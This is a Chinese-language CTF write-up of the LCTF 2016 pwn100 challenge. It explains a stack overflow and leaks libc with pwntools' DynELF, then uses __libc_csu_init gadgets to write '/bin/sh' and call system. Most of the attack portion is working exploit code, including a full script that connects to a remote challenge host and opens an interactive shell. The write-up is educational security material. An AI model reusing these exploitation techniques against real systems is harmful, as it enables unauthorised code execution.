LCTF 2016 pwn100

0x00 前言

  • 这是一道很有学习价值的题目。通过这道题目,我学到了DynELF模块的用法、一些ROP技巧等。

  • 感谢大佬们开发的各种工具、解锁的各种姿势,愿我也能站在巨人的肩膀上。

0x01 分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
sub_40068E();
return 0LL;
}

int sub_40068E()
{
char v1; // [rsp+0h] [rbp-40h]

sub_40063D((__int64)&v1, 200);
return puts("bye~");
}

__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i >= a2 )
break;
read(0, (void *)((signed int)i + a1), 1uLL);
}
return result;
}
  • sub_40063D函数就相当于一个read函数,不过必须读够200个字节且每次读一个字节,这里存在明显的栈溢出。
  • v1距离rbp只有0x40个字节,但是却读入200个字节。

  • 由于程序里面并没有后门函数且题目并没有给我们libc,这就要求我们想办法获取目标系统的libc。

关于远程获取libc,pwntools在早期版本就提供了一个解决方案——DynELF类。DynELFl的官方文档见此:

DynELFl的官方文档

其具体的原理可以参阅文档和源码。简单地说,DynELF通过程序漏洞泄露出任意地址内容,结合ELF文件的结构特征获取对应版本文件并计算比对出目标符号在内存中的地址。

  • 所以总体思路就是先通过DynELF模块拿到system函数的地址,然后想办法执行system("/bin/sh");

0x02 通过DynELF模块泄露出system函数的地址

  • DynELF模块需要我们提供一个leak方法,而且需要程序里面有能够调用的输出函数,如write、puts、printf

  • 其实DynELF模块就相当于循环得出任意地址里的内容的一个工具。每次由这个模块自动传入一个地址,然后多次调用leak(addr)去泄露这个地址里面的内容,通过泄露的内容与ELF文件的结构特征比对,从而获得对应的libc版本,进而能获得我们的目标函数(我们搜索的函数)所在地址。

构造传统的payload

  • 基于这个思想,我们先来写一个通过溢出,让程序通过puts函数输出指定地址里的内容的payload。

  • 由于puts函数: int puts(const char *s)只有一个参数,这个参数就是我们所要输出的内容所在的地址,64位程序的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,第七个及以后的参数才保存在栈中。所以puts函数的参数需要保存到RDI中。

  • 所以我们需要先通过ROPgadget找到pop rdi;ret的地址。

  • 如果不太清楚为什么这么做的话,可以看我的另一篇博客,里面有很详细的讲解及调试。

传送门

  • 具体命令为:ROPgadget --binary pwn100 --only 'pop|ret' | grep rdi。得到结果0x0000000000400763 : pop rdi ; ret

  • 有了pop rdi ; ret以后,我们就可以任选一个想输出其内容的地址来构造我们的payload了。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
c = process('./pwm100')
elf = ELF("./pwn100")
puts_addr = elf.plt['puts']
pop_rdi = 0x400763
payload = "A" *(0x40 + 8)
payload += p64(pop_rdi)
payload += p64(0x400000) #任选的
payload += p64(puts_addr)
payload = payload.ljust(200, "B")
c.send(payload)
print c.recv()

由传统payload转成leak方法

  • 理解了这个payload的原理以后,我们就可以去构造我们需要的leak方法了。

小难点1

  • 前面我们也提到过了, 我们的leak方法必须能够多次被调用。

  • 能被多次调用也就意味着我们的栈空间要跟第一次调用的时候基本保持一致,如果不一致,最先导致的一个问题就是参数传递问题,可能在传递和调用过程中,栈空间就被消耗完了。

  • 所以这里我们把调用完puts以后的返回地址修改成start,这个函数在IDA里面能够看到。

这是一段编译器添加的代码,用于初始化程序的运行环境后,执行完相应的代码后会跳转到程序的入口函数main函数去运行程序代码。

  • 也就是说,我们通过每次返回到start函数就能实现每次相当于重新加载程序的效果。

小难点2

  • 由于这道题目我们能够利用的puts函数的输出长度是不受控制的,它遇到\x00才会停止输出。所以我们需要自行添加上\x00

leak方法

  • 克服了几个小困难以后我们得到leak方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*- coding: UTF-8 -*-
def leak(addr):
count = 0
up = ''
content = ''
payload = 'A'*(0x40 + 8) #padding
payload += p64(pop_rdi) #将puts的参数传给rdi
payload += p64(addr) #puts的参数
payload += p64(puts_addr) #调用puts()函数
payload += p64(start_addr) #跳转到start,恢复栈
payload = payload.ljust(200, 'B') #padding,因为需要读满200
io.send(payload)
io.recvuntil("bye~\n")
while True: #无限循环读取,防止recv()读取输出不全
c = io.recv(numb=1, timeout=0.1) #每次读取一个字节,设置超时时间确保没有遗漏
count += 1
if up == '\n' and c == "": #上一个字符是回车且读不到其他字符,说明读完了
content = content[:-1]+'\x00' #最后一个字符置为\x00
break
else:
content += c #拼接输出
up = c #保存最后一个字符
content = content[:4] #截取输出的一段作为返回值,提供给DynELF处理
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content
  • 仔细想一想,我们可以发现,这个leak方法其实就是一个模板, 我们只需要提供溢出payload然后稍作改动就行,大体代码不变。

泄露system函数地址

  • 我们有了leak方法以后还需要实例化一个DynELF对象,用这个对象去泄露我们的system函数地址
1
2
3
d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)
  • 这样我们就能够拿到system函数地址了

  • 所以泄露system函数的完整代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: UTF-8 -*-
from pwn import *

io = remote('111.198.29.45',32873)#端口要根据自己创建的环境来。
elf = ELF("./pwn100")

start_addr = 0x400550
pop_rdi = 0x400763
puts_addr = elf.plt['puts']

def leak(addr):
count = 0
up = ''
content = ''
payload = 'A'*(0x40 + 8) #padding
payload += p64(pop_rdi) #将puts的参数传给rdi
payload += p64(addr) #puts的参数
payload += p64(puts_addr) #调用puts()函数
payload += p64(start_addr) #跳转到start,恢复栈
payload = payload.ljust(200, 'B') #padding,因为需要读满200
io.send(payload)
io.recvuntil("bye~\n")
while True: #无限循环读取,防止recv()读取输出不全
c = io.recv(numb=1, timeout=0.1) #每次读取一个字节,设置超时时间确保没有遗漏
count += 1
if up == '\n' and c == "": #上一个字符是回车且读不到其他字符,说明读完了
content = content[:-1]+'\x00' #最后一个字符置为\x00
break
else:
content += c #拼接输出
up = c #保存最后一个字符
content = content[:4] #截取输出的一段作为返回值,提供给DynELF处理
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content
d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)
  • 运行可得system_addr

  • 从运行结果来看,我们也能明白DynELF模块大致的工作原理。

0x03 ROP

获得/bin/sh

  • 有了system函数以后,还需要有它的参数/bin/sh

  • 我们可以找到一个具有读写权限的地址,写入/bin/sh

  • 通过vmmap命令或者在IDA里面找bss段等都可以找到合适的地址。

  • 我们发现0x6010000x602000之间的地址都具有读写权限。

  • 我们任选一个地址binsh_addr = 0x601500用于写入/bin/sh

  • 我们需要构造ROP链来实现写入/bin/sh

  • 由于我们的read函数: read(int fd, void *buf, size_t count),有三个参数,所以我们采用的gadgets为:

  • gadget1(0x40075A):

1
2
3
4
5
6
7
.text 000000000040075A                 pop     rbx
.text:000000000040075B pop rbp
.text:000000000040075C pop r12
.text:000000000040075E pop r13
.text:0000000000400760 pop r14
.text:0000000000400762 pop r15
.text:0000000000400764 retn
  • gadget2(0x400740):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text 0000000000400740 loc_400740:
.text:0000000000400740 mov rdx, r13
.text:0000000000400743 mov rsi, r14
.text:0000000000400746 mov edi, r15d
.text:0000000000400749 call qword ptr [r12+rbx*8]
.text:000000000040074D add rbx, 1
.text:0000000000400751 cmp rbx, rbp
.text:0000000000400754 jnz short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756:
.text:0000000000400756 add rsp, 8
.text:000000000040075A pop rbx
.text:000000000040075B pop rbp
.text:000000000040075C pop r12
.text:000000000040075E pop r13
.text:0000000000400760 pop r14
.text:0000000000400762 pop r15
.text:0000000000400764 retn
  • 这是__libc_csu_init函数的通用gadget。通过这两段gadget,我们能发现这么一个关系。
1
2
3
4
r13 == rdx == arg3
r14 == rsi == arg2
r15d == edi == arg1
r12 == call address
  • 所以得到。
1
2
3
4
5
6
7
8
.text 000000000040075A       pop     rbx  必须为0
.text:000000000040075B pop rbp 必须为1
.text:000000000040075C pop r12 call address,即我们需要调用的函数的地址
.text:000000000040075E pop r13 调用的函数的参数3
.text:0000000000400760 pop r14 调用的函数的参数2
.text:0000000000400762 pop r15 调用的函数的参数1
.text:0000000000400764 retn 我们需要返回到gadget2
因为参数真正传给rdi、rsi、rdx是在gadget2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text 0000000000400740 loc_400740:
.text:0000000000400740 mov rdx, r13
.text:0000000000400743 mov rsi, r14
.text:0000000000400746 mov edi, r15d
.text:0000000000400749 call qword ptr [r12+rbx*8] 调用
.text:000000000040074D add rbx, 1
.text:0000000000400751 cmp rbx, rbp
.text:0000000000400754 jnz short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756:
.text:0000000000400756 add rsp, 8
.text:000000000040075A pop rbx
.text:000000000040075B pop rbp
.text:000000000040075C pop r12
.text:000000000040075E pop r13
.text:0000000000400760 pop r14
.text:0000000000400762 pop r15
.text:0000000000400764 retn
  • 从而我们的ROP链为:
1
2
3
4
5
6
7
8
9
10
11
12
payload='A'*(0x40 + 8)
payload+=p64(gadget1)
payload+=p64(0) #rbx=0
payload+=p64(1) #rbp=1
payload+=p64(read_got) #call read()
payload+=p64(8) #size
payload+=p64(binsh_addr) #buf
payload+=p64(0) #stdin
payload+=p64(gadget2) #ret to gadget2
payload+='\x00'*56 #注意这里。
payload+=p64(start_addr) #ret to start_addr
payload=payload.ljust(200,'a')
  • 上方payload中有一处 payload+='\x00'*56, 这里相当于计算了一下RSPRIP的偏移。

  • 由于我们的gadget2中在调用完call qword ptr [r12+rbx*8]后,RSP是指向ret_addr的,然后我们会执行这一系列指令。

1
2
3
4
5
6
7
.text:0000000000400756            add     rsp, 8
.text:000000000040075A pop rbx
.text:000000000040075B pop rbp
.text:000000000040075C pop r12
.text:000000000040075E pop r13
.text:0000000000400760 pop r14
.text:0000000000400762 pop r15
  • 首先add指令导致rsp += 8, 然后有6个pop,每次pop都会导致rsp += 8,也就是rsp一共加了(1+6)*8 = 56个字节。

  • 所以我们要在距离调用完call qword ptr [r12+rbx*8]后的56个字节的位置放置我们真正的ret_addr

get shell

  • 剩下的就是另一个ROP链了:
1
2
3
4
5
payload = "A"*(0x40 + 8)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload = payload.ljust(200, "B")
  • 所以我们完整的exp为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# -*- coding: UTF-8 -*-
from pwn import *
# context.log_level = 'debug'
io = remote('111.198.29.45',32873)
#io = process("./pwn100")
elf = ELF("./pwn100")

gadget1 = 0x40075A #pop rbx_rbp_r12_r13_r14_r15
gadget2 = 0x400740 #rdx(r13), rsi(r14), edi(r15d)
pop_rdi_ret = 0x400763
# start_addr = elf.symbols['_start']
start_addr = 0x400550
puts_plt = elf.plt['puts']
read_got = elf.got['read']
binsh_addr = 0x601500

def leak(addr):
payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(addr) + p64(puts_plt) + p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
up = ""
content = ""
count = 0
while True:
c = io.recv(numb=1, timeout=0.5)
count += 1
if up == '\n' and c == "":
content = content[:-1] + '\x00'
break
else:
content += c
up = c
content = content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content

d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)

payload = "a" * 0x48 + p64(gadget1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(1)
payload += p64(gadget2)
payload += "\x00" * 56
payload += p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
io.send("/bin/sh\x00")

payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
payload = payload.ljust(200, "a")
io.send(payload)

io.interactive()

0x04 参考链接

  • 感谢各位师傅。

i春秋

安全客

简书